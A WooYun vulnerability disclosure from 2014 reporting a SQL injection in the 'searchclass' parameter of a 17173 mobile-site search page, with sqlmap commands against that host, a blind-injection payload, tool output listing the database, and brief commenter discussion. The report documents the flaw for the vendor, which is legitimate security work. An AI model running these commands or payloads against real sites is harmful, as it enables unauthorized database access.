当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-086295

漏洞标题:17173某分站SQL注入

相关厂商:17173游戏

漏洞作者: 路人甲

提交时间:2014-12-07 19:47

修复时间:2014-12-12 19:48

公开时间:2014-12-12 19:48

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-07: 细节已通知厂商并且等待厂商处理中
2014-12-12: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

rt

详细说明:

http://mob.17173.com/search.php 存在搜索注入
post:keys=1&Tclass=1&searchclass=News_title&Submit=%CB%D1+%CB%F7&page=
(searchclass参数存在注入)
sqlmap -u "http://mob.17173.com/search.php" --data "keys=1&Tclass=1&searchclass=News_title&Submit=%CB%D1+%CB%F7&page="

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: searchclass
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: keys=1&Tclass=1&searchclass=News_title AND 9512=9512&Submit=%CB%D1 %CB%F7&page=
---
[19:37:19] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 4
[19:37:19] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/mob.17173.com'


sqlmap -u "http://mob.17173.com/search.php" --data "keys=1&Tclass=1&searchclass=News_title&Submit=%CB%D1+%CB%F7&page=" --dbs

[19:38:14] [INFO] falling back to current database
[19:38:14] [INFO] fetching current database
[19:38:14] [INFO] resumed: games
available databases [1]:
[*] games
[19:38:14] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/mob.17173.com'

漏洞证明:

http://mob.17173.com/search.php 存在搜索注入
post:keys=1&Tclass=1&searchclass=News_title&Submit=%CB%D1+%CB%F7&page=
(searchclass参数存在注入)
sqlmap -u "http://mob.17173.com/search.php" --data "keys=1&Tclass=1&searchclass=News_title&Submit=%CB%D1+%CB%F7&page="

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: searchclass
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: keys=1&Tclass=1&searchclass=News_title AND 9512=9512&Submit=%CB%D1 %CB%F7&page=
---
[19:37:19] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 4
[19:37:19] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/mob.17173.com'


sqlmap -u "http://mob.17173.com/search.php" --data "keys=1&Tclass=1&searchclass=News_title&Submit=%CB%D1+%CB%F7&page=" --dbs

[19:38:14] [INFO] falling back to current database
[19:38:14] [INFO] fetching current database
[19:38:14] [INFO] resumed: games
available databases [1]:
[*] games
[19:38:14] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/mob.17173.com'

修复方案:

参数过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-12 19:48

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2014-12-17 13:38 | 风之传说 ( 普通白帽子 | Rank:138 漏洞数:28 | 借用朋友的一句话,你的时间在哪里,你的成...)

    这么吊。字符都可以用数字型的注入语句?

  2. 2014-12-17 13:40 | 玉林嘎 ( 普通白帽子 | Rank:758 漏洞数:96 )

    @风之传说 mysql4 的原因?

  3. 2014-12-17 15:12 | 风之传说 ( 普通白帽子 | Rank:138 漏洞数:28 | 借用朋友的一句话,你的时间在哪里,你的成...)

    @玉林嘎 应该字符串用的是双引号"。所以可以用。。